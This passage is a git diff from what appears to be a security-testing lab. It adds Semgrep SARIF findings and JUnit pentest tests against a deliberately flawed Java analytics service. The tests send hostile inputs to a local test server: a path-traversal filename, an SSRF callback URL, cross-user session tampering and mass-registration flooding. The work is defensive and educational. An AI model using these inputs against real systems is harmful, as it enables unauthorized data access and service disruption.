"c93d362069b2d0a3bb8f7d8e9972e7dcc0044c02cf06118a07a114f2a217987f2411c1097ab14940db182f191504eb20bdc16b93a73c87fce787c2c7f4017830_0" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 48, + "endLine": 180, + "snippet": { + "text": " URL url = new URL(callbackUrl);" + }, + "startColumn": 17, + "startLine": 180 + } + } + } + ], + "message": { + "text": "CWE-918: SSRF — URL constructed from a variable (likely user-controlled). Validate and allowlist URL schemes/hosts before opening connections.\n" + }, + "properties": { + }, + "ruleId": "ssrf-url-from-param" + }, + { + "fingerprints": { + "matchBasedId/v1": "b35c25dff4b7ee354b4b1d32382e342199da179ef293295b900368b43b43aa04a30985ac497d853eedf70a325e5d8908d2f210653128684164323a35413e0541_3" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 82, + "endLine": 189, + "snippet": { + "text": " ctx.status(500).result(\"Notification failed: \" + e.getMessage());" + }, + "startColumn": 17, + "startLine": 189 + } + } + } + ], + "message": { + "text": "CWE-209: Exception message exposed in HTTP response. Internal implementation details (class names, stack internals) may leak to the client. Return a generic error message instead.\n" + }, + "properties": { + }, + "ruleId": "error-info-disclosure" + }, + { + "fingerprints": { + "matchBasedId/v1": "3764c7c700f194624ad811de5013b6a9d82c84ced97f4ec934ad9fd71eebf6e08105aa482f42ded8b5c6b549bec32cdcf6ddbff2993b0d8d733a4c6b8de7cf52_1" + }, + "locations": [ + { + "physicalLocation": { + "artifactLocation": { + "uri": "src\\main\\java\\ru\\itmo\\testing\\lab4\\controller\\UserAnalyticsController.java", + "uriBaseId": "%SRCROOT%" + }, + "region": { + "endColumn": 82, + "endLine": 189, + "snippet": { + "text": " ctx.status(500).result(\"Notification failed: \" + e.getMessage());" + }, + "startColumn": 17, + "startLine": 189 + } + } + } + ], + "message": { + "text": "CWE-209: Exception message exposed in HTTP response without sanitization.\n" + }, + "properties": { + }, + "ruleId": "error-info-disclosure-result" + } + ], + "tool": { + "driver": { + "name": "Semgrep OSS", + "rules": [ + { + "defaultConfiguration": { + "level": "warning" + }, + "fullDescription": { + "text": "CWE-209: Exception message exposed in HTTP response. Internal implementation details (class names, stack internals) may leak to the client. Return a generic error message instead.\n" + }, + "help": { + "markdown": "CWE-209: Exception message exposed in HTTP response. Internal implementation details (class names, stack internals) may leak to the client. Return a generic error message instead.\n", + "text": "CWE-209: Exception message exposed in HTTP response. Internal implementation details (class names, stack internals) may leak to the client. Return a generic error message instead.\n" + }, + "id": "error-info-disclosure", + "name": "error-info-disclosure", + "properties": { + "precision": "very-high", + "tags": [ + "CWE-209", + "security" + ] + }, + "shortDescription": { + "text": "Semgrep Finding: error-info-disclosure" + } + }, + { + "defaultConfiguration": { + "level": "warning" + }, + "fullDescription": { + "text": "CWE-209: Exception message exposed in HTTP response without sanitization.\n" + }, + "help": { + "markdown": "CWE-209: Exception message exposed in HTTP response without sanitization.\n", + "text": "CWE-209: Exception message exposed in HTTP response without sanitization.\n" + }, + "id": "error-info-disclosure-result", + "name": "error-info-disclosure-result", + "properties": { + "precision": "very-high", + "tags": [ + "CWE-209", + "security" + ] + }, + "shortDescription": { + "text": "Semgrep Finding: error-info-disclosure-result" + } + }, + { + "defaultConfiguration": { + "level": "error" + }, + "fullDescription": { + "text": "CWE-22: Path traversal — user-controlled value concatenated directly into file path. Use Path.normalize() and verify the result starts with the intended base directory.\n" + }, + "help": { + "markdown": "CWE-22: Path traversal — user-controlled value concatenated directly into file path. Use Path.normalize() and verify the result starts with the intended base directory.\n", + "text": "CWE-22: Path traversal — user-controlled value concatenated directly into file path. Use Path.normalize() and verify the result starts with the intended base directory.\n" + }, + "id": "path-traversal-file-concat", + "name": "path-traversal-file-concat", + "properties": { + "precision": "very-high", + "tags": [ + "CWE-22", + "security" + ] + }, + "shortDescription": { + "text": "Semgrep Finding: path-traversal-file-concat" + } + }, + { + "defaultConfiguration": { + "level": "error" + }, + "fullDescription": { + "text": "CWE-918: SSRF — URL constructed from a variable (likely user-controlled). Validate and allowlist URL schemes/hosts before opening connections.\n" + }, + "help": { + "markdown": "CWE-918: SSRF — URL constructed from a variable (likely user-controlled). Validate and allowlist URL schemes/hosts before opening connections.\n", + "text": "CWE-918: SSRF — URL constructed from a variable (likely user-controlled). Validate and allowlist URL schemes/hosts before opening connections.\n" + }, + "id": "ssrf-url-from-param", + "name": "ssrf-url-from-param", + "properties": { + "precision": "very-high", + "tags": [ + "CWE-918", + "security" + ] + }, + "shortDescription": { + "text": "Semgrep Finding: ssrf-url-from-param" + } + }, + { + "defaultConfiguration": { + "level": "error" + }, + "fullDescription": { + "text": "CWE-434/CWE-22: Writing to a file whose path is constructed from user input. Attacker may write to arbitrary locations (path traversal + arbitrary file write).\n" + }, + "help": { + "markdown": "CWE-434/CWE-22: Writing to a file whose path is constructed from user input. Attacker may write to arbitrary locations (path traversal + arbitrary file write).\n", + "text": "CWE-434/CWE-22: Writing to a file whose path is constructed from user input. Attacker may write to arbitrary locations (path traversal + arbitrary file write).\n" + }, + "id": "unrestricted-file-write", + "name": "unrestricted-file-write", + "properties": { + "precision": "very-high", + "tags": [ + "CWE-434", + "security" + ] + }, + "shortDescription": { + "text": "Semgrep Finding: unrestricted-file-write" + } + }, + { + "defaultConfiguration": { + "level": "error" + }, + "fullDescription": { + "text": "CWE-79: String concatenation directly into HTML response. User-controlled data in $EXPR may allow XSS if not sanitized.\n" + }, + "help": { + "markdown": "CWE-79: String concatenation directly into HTML response. User-controlled data in $EXPR may allow XSS if not sanitized.\n", + "text": "CWE-79: String concatenation directly into HTML response. User-controlled data in $EXPR may allow XSS if not sanitized.\n" + }, + "id": "xss-html-direct-concat", + "name": "xss-html-direct-concat", + "properties": { + "precision": "very-high", + "tags": [ + "CWE-79", + "security" + ] + }, + "shortDescription": { + "text": "Semgrep Finding: xss-html-direct-concat" + } + }, + { + "defaultConfiguration": { + "level": "error" + }, + "fullDescription": { + "text": "CWE-79: User data concatenated directly into HTML response without escaping. Use StringEscapeUtils.escapeHtml4() or similar before inserting user-controlled values.\n" + }, + "help": { + "markdown": "CWE-79: User data concatenated directly into HTML response without escaping. Use StringEscapeUtils.escapeHtml4() or similar before inserting user-controlled values.\n", + "text": "CWE-79: User data concatenated directly into HTML response without escaping. Use StringEscapeUtils.escapeHtml4() or similar before inserting user-controlled values.\n" + }, + "id": "xss-html-string-concat", + "name": "xss-html-string-concat", + "properties": { + "precision": "very-high", + "tags": [ + "CWE-79", + "security" + ] + }, + "shortDescription": { + "text": "Semgrep Finding: xss-html-string-concat" + } + } + ], + "semanticVersion": "1.161.0" + } + } + } + ], + "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json" +} \ No newline at end of file diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/AuthorizationPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/AuthorizationPentestTest.java new file mode 100644 index 0000000..886f2ea --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/AuthorizationPentestTest.java @@ -0,0 +1,217 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * PENTEST: CWE-306 — Missing Authentication / CWE-862 — Missing Authorization + * ============================================================================= + * + * Компонент: Все эндпоинты, UserAnalyticsController.java + * CWE: CWE-306 (Missing Authentication for Critical Function) — 9.8 CRITICAL + * CWE-862 (Missing Authorization) — 8.1 HIGH + * Статус: CONFIRMED + * + * ОПИСАНИЕ: + * Все эндпоинты принимают userId как query-параметр без какой-либо проверки + * личности. Любой клиент может читать данные, записывать сессии и генерировать + * отчёты от имени произвольного пользователя. + * + * МЕРЫ ЗАЩИТЫ: + * - Внедрить аутентификацию (JWT / API-ключи / OAuth 2.0) + * - Проверять, что токен соответствует userId в запросе + * - Реализовать middleware авторизации для каждого эндпоинта + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class AuthorizationPentestTest { + + private static final int TEST_PORT = 7780; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + // ------------------------------------------------------------------------- + // CWE-306: Missing Authentication + // ------------------------------------------------------------------------- + + @Test + @Order(1) + @DisplayName("[EXPLOIT][CWE-306] Неаутентифицированный клиент читает данные чужого пользователя") + void unauthenticatedClientReadsOtherUserData() throws Exception { + // Жертва регистрируется и записывает активность + send("POST", "/register?userId=auth_victim&userName=Alice"); + send("POST", "/recordSession?userId=auth_victim" + + "&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00"); + + // Атакующий — без каких-либо учётных данных — читает данные жертвы + HttpResponse response = send("GET", "/totalActivity?userId=auth_victim"); + + // Должен вернуть 401, но возвращает 200 с данными жертвы + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: данные доступны без аутентификации"); + assertTrue(response.body().contains("480"), + "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: активность жертвы (480 мин) возвращена без авторизации"); + } + + @Test + @Order(2) + @DisplayName("[EXPLOIT][CWE-306] Неаутентифицированный клиент получает HTML-профиль чужого пользователя") + void unauthenticatedClientReadsUserProfile() throws Exception { + send("POST", "/register?userId=auth_victim2&userName=SecretBob"); + + HttpResponse response = send("GET", "/userProfile?userId=auth_victim2"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: профиль пользователя доступен без аутентификации"); + assertTrue(response.body().contains("SecretBob"), + "УЯЗВИМОСТЬ: имя пользователя раскрыто без авторизации"); + } + + @Test + @Order(3) + @DisplayName("[EXPLOIT][CWE-306] Перечисление пользователей через разные коды ответа") + void userEnumerationViaStatusCodes() throws Exception { + send("POST", "/register?userId=existing_user&userName=Carol"); + + HttpResponse exists = send("GET", "/userProfile?userId=existing_user"); + HttpResponse missing = send("GET", "/userProfile?userId=nonexistent_xyz"); + + assertEquals(200, exists.statusCode()); + assertEquals(404, missing.statusCode(), + "УЯЗВИМОСТЬ: разные статус-коды для существующих и несуществующих userId " + + "позволяют перебором определить всех пользователей системы"); + } + + // ------------------------------------------------------------------------- + // CWE-862: Missing Authorization — горизонтальная эскалация + // ------------------------------------------------------------------------- + + @Test + @Order(4) + @DisplayName("[EXPLOIT][CWE-862] Пользователь записывает сессию от имени другого (Tampering)") + void userTampersOtherUserSessions() throws Exception { + send("POST", "/register?userId=authz_alice&userName=Alice"); + send("POST", "/register?userId=authz_bob&userName=Bob"); + + // bob добавляет год активности alice + HttpResponse tamperResponse = send("POST", + "/recordSession?userId=authz_alice" + + "&loginTime=2023-01-01T00:00:00&logoutTime=2023-12-31T23:59:59"); + + assertEquals(200, tamperResponse.statusCode(), + "УЯЗВИМОСТЬ: запись сессии за другого пользователя принята"); + + HttpResponse activityResponse = send("GET", "/totalActivity?userId=authz_alice"); + assertTrue(activityResponse.body().contains("525599"), + "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: данные alice изменены без её согласия (525599 минут)"); + } + + @Test + @Order(5) + @DisplayName("[EXPLOIT][CWE-862] Доступ к суммарной активности чужого пользователя") + void unauthorizedAccessToOtherUserActivity() throws Exception { + // Создаём нового пользователя с активностью + send("POST", "/register?userId=authz_dave&userName=Dave"); + HttpResponse sessionResp = send("POST", + "/recordSession?userId=authz_dave" + + "&loginTime=2024-03-15T10:00:00&logoutTime=2024-03-15T18:00:00"); + assertEquals(200, sessionResp.statusCode(), "Setup: сессия dave записана"); + assertEquals("Session recorded", sessionResp.body()); + + // Атакующий читает суммарную активность dave без каких-либо токенов + HttpResponse response = send("GET", "/totalActivity?userId=authz_dave"); + + assertNotEquals(401, response.statusCode(), + "УЯЗВИМОСТЬ: /totalActivity не требует аутентификации"); + assertNotEquals(403, response.statusCode(), + "УЯЗВИМОСТЬ: /totalActivity не ограничивает доступ к чужим данным"); + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: активность чужого пользователя возвращена без авторизации"); + assertTrue(response.body().contains("480"), + "480 мин рабочего расписания Dave раскрыты атакующему (8 ч * 60 мин)"); + } + + @Test + @Order(6) + @DisplayName("[EXPLOIT][CWE-862] Список всех неактивных пользователей доступен без авторизации") + void inactiveUserListExposedWithoutAuth() throws Exception { + send("POST", "/register?userId=authz_inactive&userName=InactiveUser"); + + HttpResponse response = send("GET", "/inactiveUsers?days=0"); + + // Любой может получить список всех пользователей системы + assertNotEquals(401, response.statusCode(), + "УЯЗВИМОСТЬ: список пользователей системы доступен без аутентификации"); + } + + @Test + @Order(7) + @DisplayName("[EXPLOIT][CWE-862] Генерация отчёта для чужого пользователя") + void unauthorizedExportReport() throws Exception { + send("POST", "/register?userId=authz_report&userName=ReportUser"); + + HttpResponse response = send("GET", + "/exportReport?userId=authz_report&filename=stolen_report.txt"); + + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: отчёт с данными чужого пользователя создан без авторизации"); + } + + // ------------------------------------------------------------------------- + // BOUNDARY: параметры без userId возвращают ошибки + // ------------------------------------------------------------------------- + + @Test + @Order(8) + @DisplayName("[BOUNDARY] Отсутствие userId возвращает 400") + void missingUserIdReturns400() throws Exception { + HttpResponse response = send("GET", "/totalActivity"); + assertEquals(400, response.statusCode()); + } + + @Test + @Order(9) + @DisplayName("[BOUNDARY] Несуществующий userId возвращает 404 для /totalActivity") + void unknownUserReturnsZeroActivity() throws Exception { + HttpResponse response = send("GET", "/totalActivity?userId=nobody_xyz"); + // Возвращает 200 с 0 минутами — нет различия между "нет доступа" и "нет данных" + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("0"), + "Несуществующий пользователь возвращает 0 без 404 — нет разграничения"); + } + + // ------------------------------------------------------------------------- + // Вспомогательные методы + // ------------------------------------------------------------------------- + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/DosPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/DosPentestTest.java new file mode 100644 index 0000000..f039097 --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/DosPentestTest.java @@ -0,0 +1,217 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.URLEncoder; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * PENTEST: CWE-400 — Uncontrolled Resource Consumption / CWE-778 — Missing Logging + * ============================================================================= + * + * Компонент: POST /register, POST /recordSession, POST /notify + * UserAnalyticsService.java:18-19 (HashMap без ограничений) + * CWE: CWE-400 (Uncontrolled Resource Consumption) — 7.5 HIGH + * CWE-778 (Insufficient Logging) — 4.3 MEDIUM + * Статус: Confirmed + * + * ОПИСАНИЕ (CWE-400): + * Хранилище (HashMap, ArrayList) не ограничено по размеру. Нет rate limiting. + * Массовая регистрация или добавление сессий приводит к деградации + * производительности и потенциальному OutOfMemoryError. + * + * ОПИСАНИЕ (CWE-778): + * После любой операции (включая атакующие) никакие данные не логируются. + * Аудит-трейл отсутствует — невозможно обнаружить атаку постфактум. + * + * МЕРЫ ЗАЩИТЫ (CWE-400): + * - Rate limiting (Bucket4j) + * - Ограничение числа пользователей и сессий на пользователя + * - Персистентное хранилище с индексами + * + * МЕРЫ ЗАЩИТЫ (CWE-778): + * - Структурированное логирование (SLF4J + Logback) + * - Аудит критичных операций (/exportReport, /notify) + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class DosPentestTest { + + private static final int TEST_PORT = 7783; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + // ------------------------------------------------------------------------- + // CWE-400: отсутствие rate limiting на /register + // ------------------------------------------------------------------------- + + @Test + @Order(1) + @DisplayName("[EXPLOIT][CWE-400] Отсутствие rate limiting — 500 пользователей без ограничений") + void noRateLimitingAllowsMassRegistration() throws Exception { + int count = 500; + + for (int i = 0; i < count; i++) { + HttpResponse r = send("POST", + "/register?userId=dos_user_" + i + "&userName=User" + i); + assertEquals(200, r.statusCode(), + "УЯЗВИМОСТЬ: запрос " + i + " принят без rate limiting"); + } + + // Сервер всё ещё отвечает — в реальных условиях OOM наступил бы раньше + HttpResponse probe = send("GET", "/userProfile?userId=dos_user_0"); + assertEquals(200, probe.statusCode(), + "Сервер отвечает после 500 регистраций — rate limiting отсутствует"); + } + + // ------------------------------------------------------------------------- + // CWE-400: неограниченное добавление сессий одному пользователю + // ------------------------------------------------------------------------- + + @Test + @Order(2) + @DisplayName("[EXPLOIT][CWE-400] Тысячи сессий одного пользователя замедляют /totalActivity") + void massSessionsDegradesPerformance() throws Exception { + send("POST", "/register?userId=dos_sessions&userName=SessionVictim"); + + int sessionCount = 1000; + for (int i = 0; i < sessionCount; i++) { + send("POST", "/recordSession?userId=dos_sessions" + + "&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T10:00:00"); + } + + long start = System.currentTimeMillis(); + HttpResponse response = send("GET", "/totalActivity?userId=dos_sessions"); + long duration = System.currentTimeMillis() - start; + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("60000"), + "1000 сессий по 60 минут = 60000 минут — все приняты без ограничения"); + + // Фиксируем факт отсутствия ограничения — не тестируем конкретное время + System.out.println("[DoS] /totalActivity с " + sessionCount + " сессиями: " + duration + "ms"); + } + + // ------------------------------------------------------------------------- + // CWE-400: нет ограничений на длину параметров + // ------------------------------------------------------------------------- + + @Test + @Order(3) + @DisplayName("[EXPLOIT][CWE-400] Длинный userId принимается без ограничения длины") + void oversizedUserIdAccepted() throws Exception { + // 2000 символов — в пределах лимита URL Jetty (~8 KB), + // но демонстрирует отсутствие валидации длины на уровне приложения + String longId = "A".repeat(2000); + String longName = "B".repeat(2000); + + HttpResponse response = send("POST", + "/register?userId=" + longId + "&userName=" + longName); + + // Сервер принял 2К-символьный userId без ошибки — нет ограничения длины в коде + assertEquals(200, response.statusCode(), + "УЯЗВИМОСТЬ: userId длиной 2000 символов принят без ограничения на уровне приложения"); + assertTrue(response.body().contains("true"), + "Пользователь с userId=A*2000 зарегистрирован — нет валидации длины"); + } + + // ------------------------------------------------------------------------- + // CWE-778: Missing Logging — атаки не оставляют следов + // ------------------------------------------------------------------------- + + @Test + @Order(4) + @DisplayName("[SECURITY][CWE-778] После атаки Path Traversal нет аудит-трейла в заголовках") + void noAuditTrailAfterAttack() throws Exception { + send("POST", "/register?userId=audit_victim&userName=AuditUser"); + + // Выполняем атаку Path Traversal + HttpResponse attackResponse = send("GET", + "/exportReport?userId=audit_victim&filename=" + + enc("../../../../tmp/audit_test.txt")); + + // Проверяем: нет заголовка X-Request-ID, X-Audit-Log, или аналогов + assertFalse(attackResponse.headers().firstValue("X-Request-ID").isPresent(), + "CWE-778: отсутствует заголовок X-Request-ID для трассировки запроса"); + assertFalse(attackResponse.headers().firstValue("X-Audit-Log").isPresent(), + "CWE-778: отсутствует аудит-заголовок"); + + // Атака выполнена — никакого лога, никакого алерта + assertEquals(200, attackResponse.statusCode(), + "Атака прошла успешно и никак не зафиксирована"); + } + + @Test + @Order(5) + @DisplayName("[SECURITY][CWE-778] SSRF-атака не оставляет следов в ответе (нет Audit-ID)") + void ssrfAttackLeavesNoAuditTrace() throws Exception { + send("POST", "/register?userId=audit_ssrf&userName=SsrfUser"); + + HttpResponse response = send("POST", + "/notify?userId=audit_ssrf&callbackUrl=" + + enc("http://localhost:" + TEST_PORT + "/totalActivity?userId=audit_ssrf")); + + // Никакого идентификатора запроса для корреляции с логами не существует + assertFalse(response.headers().firstValue("X-Correlation-ID").isPresent(), + "CWE-778: SSRF-запрос не имеет идентификатора для аудита"); + assertFalse(response.headers().firstValue("X-Request-ID").isPresent(), + "CWE-778: невозможно связать входящий запрос с исходящим SSRF-запросом"); + } + + // ------------------------------------------------------------------------- + // BOUNDARY: дублирующаяся регистрация возвращает false (уже есть защита) + // ------------------------------------------------------------------------- + + @Test + @Order(6) + @DisplayName("[BOUNDARY] Повторная регистрация того же userId возвращает false") + void duplicateRegistrationReturnsFalse() throws Exception { + send("POST", "/register?userId=dos_dup&userName=Original"); + + HttpResponse response = send("POST", + "/register?userId=dos_dup&userName=Overwrite"); + + assertEquals(200, response.statusCode()); + assertTrue(response.body().contains("false"), + "Повторная регистрация отклонена — базовая защита от перезаписи есть"); + } + + // ------------------------------------------------------------------------- + // Вспомогательные методы + // ------------------------------------------------------------------------- + + private static String enc(String value) { + return URLEncoder.encode(value, StandardCharsets.UTF_8); + } + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/ErrorDisclosurePentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/ErrorDisclosurePentestTest.java new file mode 100644 index 0000000..6dc88a6 --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/ErrorDisclosurePentestTest.java @@ -0,0 +1,188 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * PENTEST: CWE-209 — Error Information Disclosure + * ============================================================================= + * + * Компонент: POST /recordSession (строка 74), GET /monthlyActivity (строка 115), + * GET /exportReport (строка 163), POST /notify (строка 189) + * CWE: CWE-209 (Generation of Error Message Containing Sensitive Information) + * CVSS v3.1: 5.3 MEDIUM — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + * Статус: CONFIRMED (Semgrep: error-info-disclosure, 4 экземпляра) + * + * ОПИСАНИЕ: + * В четырёх местах контроллера e.getMessage() включается напрямую в тело + * HTTP-ответа. Это раскрывает внутреннюю логику приложения: имена классов + * парсеров, внутренние сообщения об ошибках, состояние хранилища. + * + * МЕРЫ ЗАЩИТЫ: + * logger.error("Parse error for userId={}: {}", userId, e.getMessage()); + * ctx.status(400).result("Invalid request"); // без деталей исключения + * ============================================================================= + */ +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class ErrorDisclosurePentestTest { + + private static final int TEST_PORT = 7782; + private static final String BASE_URL = "http://localhost:" + TEST_PORT; + + private static Javalin app; + private static HttpClient http; + + @BeforeAll + static void startServer() { + app = UserAnalyticsController.createApp(); + app.start(TEST_PORT); + http = HttpClient.newHttpClient(); + } + + @AfterAll + static void stopServer() { + app.stop(); + } + + // ------------------------------------------------------------------------- + // EXPLOIT: /recordSession раскрывает детали парсера дат + // ------------------------------------------------------------------------- + + @Test + @Order(1) + @DisplayName("[EXPLOIT] Невалидная дата раскрывает внутренние детали парсера java.time") + void invalidDateRevealsParserDetails() throws Exception { + send("POST", "/register?userId=ed_user&userName=Alice"); + + HttpResponse response = send("POST", + "/recordSession?userId=ed_user" + + "&loginTime=INVALID-DATE&logoutTime=2024-01-01T17:00:00"); + + assertEquals(400, response.statusCode()); + + String body = response.body(); + // Уязвимость: в ответе присутствует внутреннее сообщение парсера + assertTrue(body.contains("could not be parsed") || body.contains("Invalid data:"), + "УЯЗВИМОСТЬ: ответ содержит детали внутреннего исключения java.time"); + assertNotEquals("Invalid request", body, "УЯЗВИМОСТЬ ПОДТВЕРЖДЕНА: вместо обобщённой ошибки возвращается сообщение из стека"); + } + + @Test + @Order(2) + @DisplayName("[EXPLOIT] Неверный месяц в /recordSession раскрывает формат парсера") + void invalidMonthRevealsFormat() throws Exception { + send("POST", "/register?userId=ed_user2&userName=Bob"); + + HttpResponse response = send("POST", + "/recordSession?userId=ed_user2" + + "&loginTime=2024-13-01T09:00:00&logoutTime=2024-01-01T17:00:00"); + + assertEquals(400, response.statusCode()); + assertTrue(response.body().contains("Invalid data:"), + "Ответ раскрывает префикс 'Invalid data:' с деталями из исключения"); + } + + // ------------------------------------------------------------------------- + // EXPLOIT: /monthlyActivity раскрывает внутреннее состояние сервиса + // ------------------------------------------------------------------------- + + @Test + @Order(3) + @DisplayName("[EXPLOIT] /monthlyActivity для пользователя без сессий раскрывает внутреннее сообщение") + void monthlyActivityRevealsInternalState() throws Exception { + send("POST", "/register?userId=ed_nosessions&userName=Carol"); + // Пользователь зарегистрирован, но сессий нет + + HttpResponse response = send("GET", + "/monthlyActivity?userId=ed_nosessions&month=2024-01"); + + assertEquals(400, response.statusCode()); + // Раскрывается внутренний текст IllegalArgumentException из сервиса + assertTrue(response.body().contains("No sessions found for user"), + "УЯЗВИМОСТЬ: внутреннее сообщение 'No sessions found for user' раскрыто клиенту — " + + "подтверждает существование пользователя и отсутствие у него данных"); + } + + @Test + @Order(4) + @DisplayName("[EXPLOIT] Невалидный формат month раскрывает детали парсера YearMonth") + void invalidMonthFormatRevealsYearMonthParser() throws Exception { + send("POST", "/register?userId=ed_month&userName=Dave"); + + HttpResponse response = send("GET", + "/monthlyActivity?userId=ed_month&month=2024-99"); + + assertEquals(400, response.statusCode()); + assertTrue(response.body().contains("Invalid data:"), + "УЯЗВИМОСТЬ: детали ошибки парсера YearMonth раскрыты в ответе"); + } + + // ------------------------------------------------------------------------- + // EXPLOIT: /exportReport и /notify раскрывают системные ошибки + // ------------------------------------------------------------------------- + + @Test + @Order(5) + @DisplayName("[EXPLOIT] /notify с невалидным URL раскрывает детали сетевого исключения") + void notifyWithBadUrlRevealsNetworkException() throws Exception { + send("POST", "/register?userId=ed_notify&userName=Eve"); + + HttpResponse response = send("POST", + "/notify?userId=ed_notify&callbackUrl=not-a-valid-url"); + + assertEquals(500, response.statusCode()); + assertTrue(response.body().contains("Notification failed:"), + "УЯЗВИМОСТЬ: сообщение об ошибке содержит детали сетевого исключения"); + // Детали зависят от JVM, но факт раскрытия e.getMessage() подтверждён + } + + // ------------------------------------------------------------------------- + // BOUNDARY: проверяем, что ошибки 400 для отсутствующих параметров — обобщённые + // ------------------------------------------------------------------------- + + @Test + @Order(6) + @DisplayName("[BOUNDARY] Отсутствие параметров возвращает обобщённое 400 без деталей стека") + void missingParametersReturnGenericError() throws Exception { + HttpResponse response = send("POST", "/recordSession?userId=someone"); + + assertEquals(400, response.statusCode()); + // Это обобщённая ошибка — не раскрывает детали исключения + assertEquals("Missing parameters", response.body(), + "Отсутствие параметров даёт обобщённое сообщение — это правильно"); + } + + @Test + @Order(7) + @DisplayName("[BOUNDARY] Корректный запрос не раскрывает никаких внутренних деталей") + void validRequestReturnsNoInternalDetails() throws Exception { + send("POST", "/register?userId=ed_safe&userName=Frank"); + send("POST", "/recordSession?userId=ed_safe" + + "&loginTime=2024-06-01T09:00:00&logoutTime=2024-06-01T17:00:00"); + + HttpResponse response = send("GET", "/totalActivity?userId=ed_safe"); + + assertEquals(200, response.statusCode()); + assertFalse(response.body().contains("Exception"), + "Успешный ответ не должен содержать слово Exception"); + assertFalse(response.body().contains("java."), + "Успешный ответ не должен содержать имена Java-классов"); + } + + private HttpResponse send(String method, String path) throws Exception { + HttpRequest request = HttpRequest.newBuilder() + .uri(URI.create(BASE_URL + path)) + .method(method, HttpRequest.BodyPublishers.noBody()) + .build(); + return http.send(request, HttpResponse.BodyHandlers.ofString()); + } +} diff --git a/src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java b/src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java new file mode 100644 index 0000000..7a0bae9 --- /dev/null +++ b/src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java @@ -0,0 +1,212 @@ +package ru.itmo.testing.lab4.pentest; + +import io.javalin.Javalin; +import org.junit.jupiter.api.*; +import ru.itmo.testing.lab4.controller.UserAnalyticsController; + +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; + +import static org.junit.jupiter.api.Assertions.*; + +/** + * ============================================================================= + * PENTEST: CWE-20 — Improper Input Validation (Business Logic Flaw) + * ============================================================================= + * + * Компонент: POST /recordSession, UserAnalyticsService.java:46-53 + * CWE: CWE-20 (Improper Input Validation) + * CVSS v3.1: 6.5 MEDIUM — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N + * Статус: CONFIRMED + * + * ОПИСАНИЕ: + * Сервис принимает сессии без проверки логики времени. При logoutTime < 